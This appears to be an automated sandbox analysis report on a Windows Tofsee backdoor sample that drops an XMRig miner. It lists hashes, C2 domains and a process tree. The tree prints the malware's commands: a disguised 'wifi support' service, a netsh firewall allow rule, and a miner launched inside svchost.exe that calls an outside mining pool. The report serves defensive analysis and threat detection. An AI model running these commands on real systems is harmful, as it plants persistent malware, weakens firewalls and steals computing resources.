Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    04-10-2023 16:08

General

  • Target

    file.exe

  • Size

    219KB

  • MD5

    8ac853e6f0a3ccae8cbe48a2bada4b13

  • SHA1

    b258166c1a9338e6c9b379756db5d3b2857109c6

  • SHA256

    0149b1b31183978292733c0ba295b1e1c0a5f6ca618b16b1dedaeb7a0e35aed5

  • SHA512

    37e0c267f6406c103559d74217e822af0f47c864d46d6d8b4ce75a0736c669990b7750da24acda1136bf3576ef5f5c9df06b5e6a0b4f17b8f0b9979196fa3e30

  • SSDEEP

    3072:/wXz7MfAIzFIZr0w5oaTCzYcgQc91bFeA7cWDmlfCX5CSt87hP9:scZz2Zr0wiqPcFuoWSlfRS

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3000
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ixyibiah\
      2⤵
        PID:2088
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kistvrua.exe" C:\Windows\SysWOW64\ixyibiah\
        2⤵
          PID:1136
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ixyibiah binPath= "C:\Windows\SysWOW64\ixyibiah\kistvrua.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2784
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ixyibiah "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2060
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ixyibiah
          2⤵
          • Launches sc.exe
          PID:2700
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2696
      • C:\Windows\SysWOW64\ixyibiah\kistvrua.exe
        C:\Windows\SysWOW64\ixyibiah\kistvrua.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2608
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2504
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1632

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\kistvrua.exe

        Filesize

        10.9MB

        MD5

        23f760797def7a2f9cc556c133391fc9

        SHA1

        9d0cbff39e8930956bf6104d6592ea840687fdd2

        SHA256

        73a406ddb37685f397a918e80db86044a3e2becfa9dc2be19407cf9c353ced22

        SHA512

        b955bbb92b55bdc6fde175c10bc112006cf0caaf43d055b3530d0a5963c794c1fadd4acefaa90d096a2e3e11bae860942e1d386a18fb457951b7bf4ca338aa36

      • C:\Windows\SysWOW64\ixyibiah\kistvrua.exe

        Filesize

        10.9MB

        MD5

        23f760797def7a2f9cc556c133391fc9

        SHA1

        9d0cbff39e8930956bf6104d6592ea840687fdd2

        SHA256

        73a406ddb37685f397a918e80db86044a3e2becfa9dc2be19407cf9c353ced22

        SHA512

        b955bbb92b55bdc6fde175c10bc112006cf0caaf43d055b3530d0a5963c794c1fadd4acefaa90d096a2e3e11bae860942e1d386a18fb457951b7bf4ca338aa36

      • memory/1632-61-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1632-76-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1632-75-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1632-74-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1632-73-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1632-72-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1632-71-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1632-70-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1632-62-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/2504-37-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-43-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-19-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2504-21-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2504-22-0x0000000001950000-0x0000000001B5F000-memory.dmp

        Filesize

        2.1MB

      • memory/2504-25-0x0000000001950000-0x0000000001B5F000-memory.dmp

        Filesize

        2.1MB

      • memory/2504-26-0x0000000000080000-0x0000000000086000-memory.dmp

        Filesize

        24KB

      • memory/2504-29-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-33-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-32-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-34-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-35-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-36-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2504-38-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-39-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-40-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-41-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-42-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-18-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2504-44-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-46-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-45-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-47-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-48-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2504-49-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/2504-52-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/2504-53-0x0000000005A10000-0x0000000005E1B000-memory.dmp

        Filesize

        4.0MB

      • memory/2504-56-0x0000000005A10000-0x0000000005E1B000-memory.dmp

        Filesize

        4.0MB

      • memory/2504-57-0x00000000001D0000-0x00000000001D7000-memory.dmp

        Filesize

        28KB

      • memory/2504-11-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2504-14-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2608-16-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/2608-10-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/2608-9-0x0000000000720000-0x0000000000820000-memory.dmp

        Filesize

        1024KB

      • memory/3000-1-0x00000000006E0000-0x00000000007E0000-memory.dmp

        Filesize

        1024KB

      • memory/3000-6-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/3000-4-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/3000-3-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB